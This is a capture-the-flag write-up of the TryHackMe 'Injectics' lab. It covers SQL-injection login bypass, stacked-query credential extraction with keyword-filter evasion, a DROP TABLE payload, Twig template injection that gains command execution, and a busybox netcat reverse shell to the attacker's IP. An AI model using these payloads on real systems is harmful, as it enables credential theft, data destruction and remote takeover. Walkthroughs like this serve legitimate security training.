Injectics

Use your injection skills to take control of a web app. - by 1337rce & l000g1c

The following post by 0xb0b is licensed under CC BY 4.0


Recon

We start with a Nmap scan and find only two open ports, 22 on which SSH is running and a web server on port 80.

On the page we find an allusion to the Olympic Games, only this is the Injectics. The games of injections, nice :D.

There is one login form, from which another admin login is possible.

The following shows the admin log in.

Surpass Login

When testing both forms for SQL injection, the former is the normal login conspicuous. This gets an error when entering the special character '. We use Burp Suite, because the client-side filter excludes the use of special characters.

We use the following payload list of HackTricks to test for possible SQL injections.

We use FFuF to try them out and filter the results with error message containing num_rows or no change at all. We have a variety of hits but choose the first one ' OR 'x'='x'#;.

┌──(0xb0b㉿kali)-[~/Documents/tryhackme/injectics]
└─$ ffuf -w sql-login-bypass.md -X POST -u http://injectics.thm/functions.php -d 'username=FUZZ&password=asdf&function=login' -H "Content-Type: application/x-www-form-urlencoded; charset=UTF-8" -fr 'num_rows' -fw 4

We pass this URL encoded via Burp Suite because of the said filter. We intercept a login request, manipulate it (username=' OR 'x'='x'#;), forward this and the subsequent requests and are redirected to /dashboard.php.

On the dashboard, we have the possibility to edit the ranking list.

Admin Access

Initial Solution

Let's take a closer look at editing via /edit_leaderboard.php.

We are able to execute stacked queries.

A stacked query attack involves injecting a payload that includes multiple SQL statements separated by a semicolon (;). This allows the attacker to execute multiple queries in a single execution context.

We assume that the table is called leaderboard. We get the parameters from the URL. Using our stacked query, we can now rewrite the country field. This means that we can write information that we want to enumerate from the database into the country field in order to exfiltrate it.

9;UPDATE leaderboard SET country='0xb0b' where country='USA';

At first, we will limit ourselves to one field, later we will just use all fields, otherwise it would be too time-consuming to always determine the content of the field. We can determine the version of the database.

1337;UPDATE leaderboard SET country=@@version where country='0xb0b';

Version of DB:

We can determine the current database, we need to enumerate the entire schema.

1;UPDATE leaderboard SET country=concat(DATABASE()) where country='8.0.37-0ubuntu0.20.04.3';

Current DB is bac_test:

However, when trying to retrieve information from information_schema, nothing was found.

1;UPDATE leaderboard SET country=concat((SELECT group_concat(table_name)FROM information_schema.tables WHERE table_schema=database())) where country='bac_test';

The field remains unchanged.

A filter seems to be active, this has already been noticed before, but was not taken into account at first. When testing the SQL injection, I wanted to reset the table to its origin because I always worked row by row. Something special happened with the wirting the name Korea. When trying to write this country into the table, only Kea was written. So the OR is cut out before the SQL evaluation. At first, I didn't think anything of it. But the word information_schema also contains an or.

1;UPDATE leaderboard SET country='Korea' where country='bac_test';

Result of changing to the name Korea:

There may be more SQL keywords filtered. Let's try it first with SELECT, FROM, OR, and information_schema. (FROM should work, as we have already used this successfully). And we see that SELECT and the or are deleted from information_schema becomes infmation_schema. I have not shown the payload input in the screenshots below, as it would otherwise be too much.

1;UPDATE leaderboard SET country=concat('SELECT',' ','FROM',' ','OR',' ','information_schema',' ');

Ok, how can we work around this. If the words are deleted as a whole, SSELECTELECT could become SELECT again: S[SELECT]ELECT

This would then only have to be evaluated, let's hope. To check our bypasses, we write these OORR and SSELECTELECT in the country field. And they are filtered as expected.

1;UPDATE leaderboard SET country=concat('SSELECTELECT',' ','OORR');

We are now adapting our previously failed query. SELECT becomes SSELECTELECT and information_schema becomes infoorrmation_schema. We are now able to enumerate the tables. We have the tables leaderboard and users.

1;UPDATE leaderboard SET country=concat((SSELECTELECT group_concat(table_name)FROM infoorrmation_schema.tables WHERE table_schema=database()));

The users table has the fields email and password, among others:

1;UPDATE leaderboard SET country=concat((SSELECTELECT group_concat(column_name) FROM infoorrmation_schema.columns WHERE table_name='users'));

The contents of these fields are now obtained using the following query (Here, too, we have to adjust the password field for the filter.):

1;UPDATE leaderboard SET country=concat((SSELECTELECT group_concat(email,passwoorrd) FROM users));

We are able to extract the credentials of two users. For dev@injects.thm and superadmin@injectics.thm.

We use the credentials from superadmin@injectics.thm to log in to adminlogin /adminLogin007.php.

A redirection to the dashboard takes place, but this time we find the first flag there.

Alternative Solution

This solution completely escaped me and shows how important it is to enumerate at the beginning. Many thanks to h00dy, we had discussed our solutions, and he showed me this one.

Don't miss out on his content:

There is a mail.log, with a crucial hint.

If the users table is ever deleted or corrupted, it will be filled with the default credentials from the mail.

So just drop the users table, and we can then use the default credentials found to log in to the admin portal and get the first flag.

1; DROP TABLE users;

Foothold

At the Profile page, we can now customize our first and last name. The email cannot be changed. No payloads for SQL injection apply here.

What we do see, however, is that the first name is reflected on the dashboard. This could possibly be an SSTI.

We try the SSTI payload {{7*7}} to determine whether it is actually an SSTI.

And this is also evaluated. SSTI is possible!

The following resource provides helpful information for discovering SSTI and determining the template engine.

Don't miss out on the following resource too, but twig is not covered there:

Using the following tree, we can see how we can determine the engine. Since {{7*7}} was evaluated, this could be Jinja2, Twig or Unknown. Since we know that it is a PHP server, it will probably be twig, but it could also be an engine that is not vulnerable or unknown.

We try the {{7*'7'}} payload and...

... it gets evaluated, it is very likely twig.

At PayloadsAllTheThings we find a number of payloads that we can test, but none of them seem to work:

https://github.com/swisskyderepo/PayloadsAllTheThings/tree/master/Server Side Template Injection#twig---code-execution

passthru does not seem to be filtered, but the filter function seems to be anonymized because we are in a sandbox.

{{['id']|filter('passthru')}}

On HackTricks we find other payloads that also do not work, but here the function sort for system is still used.

By combining the two, we get a payload that works:

{{['id','']|sort('passthru')}}

So we can execute system commands, nice. Now we just need a reverse shell. We set a listener to 4445 on nc -lnvp 4445 and use my favorite reverse shell via busybox.

{{['busybox nc 10.8.211.1 4445 -e /bin/bash','']|sort('passthru')}}

After we have set the payload and reloaded the dashboard,...

...we get a connection, we are www-data and can read the second falg at /var/www/html/flags/.txt.

Last updated